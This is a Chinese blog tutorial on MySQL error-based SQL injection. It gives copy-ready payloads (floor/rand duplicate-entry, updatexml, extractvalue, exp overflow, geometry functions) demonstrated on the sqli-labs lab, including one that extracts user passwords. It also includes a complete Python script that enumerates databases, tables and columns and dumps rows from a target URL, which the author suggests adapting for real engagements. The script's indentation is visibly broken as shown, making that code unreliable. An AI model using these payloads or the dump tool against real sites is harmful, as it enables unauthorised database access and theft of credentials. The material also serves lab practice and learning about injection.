天天看點

sql盲注之報錯注入(附自動化腳本)

作者:__LSA__

0x00

概述 滲透的時候總會首先測試注入,sql注入可以說是web漏洞界的Boss了,穩居owasp第一位,普通的直接回顯資料的注入現在幾乎絕迹了,絕大多數都是盲注了,此文是盲注系列的第一篇,介紹盲注中的報錯注入。

0×01 報錯注入原理

其實報錯注入有很多種,本文主要介紹幾種常見的報錯方法,有新姿勢後續再更新。

1. Duplicate entry報錯:

一句話概括就是多次查詢插入重複鍵值導緻count報錯進而在報錯資訊中帶入了敏感資訊。

關鍵是查詢時會建立臨時表存儲資料,不存在鍵值就插入,group by使插入前rand()會再執行一次,存在就直接值加1,下面以rand(0)簡述原理:

首先看看接下來會用到的幾個函數

Count()計算總數

Concat()連接配接字元串

Floor()向下取整數

Rand()産生0~1的随機數

rand(0)序列是011011

sql盲注之報錯注入(附自動化腳本)

1. 查詢第一條記錄,rand(0)得鍵值0不存在臨時表,執行插入,此時rand(0)再執行,得1,于是插入了1。

2. 查詢第二條記錄,rand(0)得1,鍵值1存在臨時表,則值加1得2。

3. 查詢第三條記錄,rand(0)得0,鍵值0不存在臨時表,執行插入,rand(0)再次執行,得鍵值1,1存在于臨時表,由于鍵值必須唯一,導緻報錯。

由上述可得,表中必須存在大于等于3條記錄才會産生報錯,實測也如此。

一些報錯查詢語句(相當于套公式):

假設字段數是3

經典語句:

union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+

version()可以替換為需要查詢的資訊。

簡化語句:

union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+

sql盲注之報錯注入(附自動化腳本)

如果關鍵的表被禁用了,可以使用這種形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用使用者變量來報錯

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

Sqli-labs less5測試:

1. 擷取庫名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+      
sql盲注之報錯注入(附自動化腳本)

2.擷取表名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+      
sql盲注之報錯注入(附自動化腳本)

3. 擷取列名:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+      
sql盲注之報錯注入(附自動化腳本)

4. 爆資料:

192.168.43.173:8999/sqli-labs/less-5/?id=1' Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+      
sql盲注之報錯注入(附自動化腳本)

2. Xpath報錯:

主要的兩個函數:

Mysql5.1.5

1. updatexml():對xml進行查詢和修改

2. extractvalue():對xml進行查詢和修改

都是最大爆32位。

and updatexml(1,concat(0×26,(version()),0×26),1);

and (extractvalue(1,concat(0×26,(version()),0×26)));

Sqli-lab less5測試:

Updatexml():

192.168.43.173:8999/sqli-labs/less-5/?id=1′ and updatexml(1,concat(0×26,database(),0×26),1);–+

sql盲注之報錯注入(附自動化腳本)

Extractvalue():

192.168.43.173:8999/sqli-labs/less-5/?id=1′ and extractvalue(1,concat(0×26,database(),0×26));–+

sql盲注之報錯注入(附自動化腳本)

3. 整形溢出報錯:

Mysql>5.5.5

主要函數:

exp(x):計算e的x次方

Payload: and (EXP(~(select * from(select version())a)));

Exp()超過710會産生溢出。

将0按位取反就會傳回“18446744073709551615”,而函數執行成功會傳回0,是以将成功執行的函數取反就會得到最大的無符号BIGINT值,進而造成報錯。

sql盲注之報錯注入(附自動化腳本)

4. 資料重複報錯:

Mysql低版本

payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x

5. 其餘報錯:

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()

id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()

id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()

id =1 AND multipolygon((select * from(select * from(select user())a)b))

0×02 報錯注入腳本

依據sqli-lab less-5寫的自動化注入腳本,實戰再根據具體情況修改即可,盲注還是寫腳本友善點。

(建議在linux下使用,win下的cmd無法使用termcolor,win下可注釋并修改print即可,有顔色還是挺酷的!)

#coding:utf-8
#Author:LSA
#Description:blind sqli error base script
#Date:20171222
 
 
 
import sys
import requests
import re
import binascii
from termcolor import *
import optparse
 
fdata = []
 
def judge_columns_num(url):
         
        for i in range(1,100):
                columns_num_url = url + '\'' + 'order by ' + str(i) + '--+'
                rsp = requests.get(columns_num_url)
                rsp_content_length = rsp.headers['content-length']
                if i==1:
                        rsp_true_content_length = rsp_content_length
                        continue
                if rsp_content_length == rsp_true_content_length:
                        continue
                else:
                        print (colored('column nums is ' + str(i-1),"green",attrs=["bold"]))
                        columns_num = i
                        break
 
 
def getDatabases(url):
 
        dbs_url = url +  "' union select 1,count(*),concat((select count(distinct+table_schema) from information_schema.tables),0x26,floor(rand(0)*2))x from information_schema.tables group by x;--+"
            dbs_html = requests.get(dbs_url).content
            dbs_num = int(re.search(r'\'(\d*?)&',dbs_html).group(1))
            print "databases num:" + colored(dbs_num,"green",attrs=["bold"])
            dbs = []
            print ("dbs name: ")
            for dbIndex in xrange(0,dbs_num):
                db_name_url = url + "' union select 1,count(*),concat((select distinct table_schema from information_schema.tables limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % dbIndex
                db_html = requests.get(db_name_url).content
                db_name = re.search(r'\'(.*?)&', db_html).group(1)
                dbs.append(db_name)
                print (colored("\t%s" % db_name,"green",attrs=["bold"]))
 
 
 
def getTables(url, db_name):
            #db_name_hex = "0x" + binascii.b2a_hex(db_name)
            tables_num_url = url + "' union select 1,count(*),concat((select count(table_name) from information_schema.tables where table_schema='%s'),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % db_name
            tables_html = requests.get(tables_num_url).content
            tables_num = int(re.search(r'\'(\d*?)&',tables_html).group(1))
            print ("databases %s,tables num: %d" % (db_name, tables_num))
            print ("tables name: ")
            for tableIndex in xrange(0,tables_num):
                table_name_url = url + "'union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name, tableIndex)
                        table_html = requests.get(table_name_url).content
                table_name = re.search(r'\'(.*?)&',table_html).group(1)
                print (colored("\t%s" % table_name,"green",attrs=["bold"]))
 
 
 
def getColumns(url,db_name,table_name):
         
            #db_name_hex = "0x" + binascii.b2a_hex(db_name)
            #table_name_hex = "0x" + binascii.b2a_hex(table_name)
            dataColumns_num_url = url + "' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' ),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
            dataColumns_html = requests.get(dataColumns_num_url).content
        dataColumns_num = int(re.search(r'\'(\d*?)&',dataColumns_html).group(1))
            print ("table: %s,dataColumns num: %d" % (table_name, dataColumns_num))
            print ("DataColumns name:")
            for dataColumnIndex in xrange(0,dataColumns_num):
                dataColumn_name_url = url + "' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name,dataColumnIndex)
                dataColumn_html = requests.get(dataColumn_name_url).content
                dataColumn_name = re.search(r'\'(.*?)&',dataColumn_html).group(1)
                print (colored("\t\t%s" % dataColumn_name,"green",attrs=["bold"]))
 
 
 
 
def dumpData(url,db_name,table_name,inputColumns_name):
         
            #db_name_hex = "0x" + binascii.b2a_hex(db_name)
            #table_name_hex = "0x" + binascii.b2a_hex(table_name)
 
        dataColumns_num_url = url + "' union select 1,count(*),concat((select count(*) from %s.%s),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (db_name,table_name)
            data_html = requests.get(dataColumns_num_url).content
            datas = int(re.search(r'\'(\d*?)&',data_html).group(1))
         
 
        inputColumns = inputColumns_name.split(',')
 
        print (colored("Total datas: " + str(datas),"green",attrs=["bold"]))
        print str(inputColumns_name) + ":"
         
            for inputColumnIndex in xrange(0,len(inputColumns)):
                 
                 
                for dataIndex in xrange(0,datas):
                 
                            dataColumn_name_url = url + "' union select 1,count(*),concat((select %s from %s.%s limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+" % (inputColumns[inputColumnIndex],db_name,table_name,dataIndex)
                            data_html = requests.get(dataColumn_name_url).content
                            data = re.search(r'\'(.*?)&',data_html).group(1)
                        fdata.append(data)
                            print (colored("\t%s" % data,"green",attrs=["bold"]))
        for inputc in range(0,len(inputColumns)):
                print str(inputColumns[inputc]) + "\t",
        print ""
        print "+++++++++++++++++++++++++++++++++++++++++++++++++"
        n = len(fdata) / len(inputColumns)
        for t in range(0,n):
                for d in range(t,len(fdata),n):
                        print colored(fdata[d],"green",attrs=["bold"]) + "\t",
                print ""
        print "+++++++++++++++++++++++++++++++++++++++++++++++++"
                 
                 
 
 
                 
                         
 
 
def main():
         
            parser = optparse.OptionParser('python %prog '+\
                 '-h <manual>')
            parser.add_option('-u', dest='tgtUrl', type='string',\
                 help='input target url')
            parser.add_option('--dbs', dest='dbs', action='store_true', help='get dbs')
        parser.add_option('--tables', dest='tables', action='store_true',\
           help='get tables')
        parser.add_option('--columns', dest='columns', action='store_true',\
           help='get columns')
 
            parser.add_option('-D', dest='db', type='string', help='choose a db')
        parser.add_option('-T', dest='table', type='string',\
           help='choose a table')
        parser.add_option('-C', dest='column', type='string',\
           help='choose column(s)')
        parser.add_option('--dump', dest='data', action='store_true',\
           help='get datas')
     
            (options, args) = parser.parse_args()
         
        url = options.tgtUrl
        dbs = options.dbs
        tables = options.tables
        columns = options.columns
        db = options.db
        table = options.table
        column = options.column
        datas = options.data
         
         
        if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None):
                judge_columns_num(url)
         
 
        if url and dbs:
                getDatabases(url)
        if url and db and tables:
                getTables(url,db)
        if url and db and table and columns:
                getColumns(url,db,table)
        if url and db and table and column and datas:
                dumpData(url,db,table,column)
                 
                 
         
 
if __name__ == '__main__':
    main()      

如不想切換轉義字元可到本人部落格複制代碼:www.lsablog.com/network_security/penetration/error-based-blind-sqli/

效果圖:

sql盲注之報錯注入(附自動化腳本)
sql盲注之報錯注入(附自動化腳本)

0×03 結語

Exp報錯和其餘報錯沒測試成功,不知為何,先這樣吧。(o(∩∩)o…哈哈不知道有多少人能看到這裡,回貼送币!)。

0×04 參考資料

blog.csdn.net/qq_35544379/article/details/77453019

https://bugs.mysql.com/bug.php?id=8652

whc.dropsec.xyz/2017/04/16/SQL報錯注入總結/

blog.51cto.com/wt7315/1891458

https://www.msfcode.com/2016/10/11/【sql注入】mysql十種報錯注入方式/

www.am0s.com/penetration/138.html

www.jianfensec.com/19.html

www.freebuf.com/articles/web/30841.html

https://www.cnblogs.com/lcamry/articles/5509124.html

>>>>>>黑客入門必備技能   帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農藥都好玩!

轉載于:https://www.cnblogs.com/ichunqiu/p/8145122.html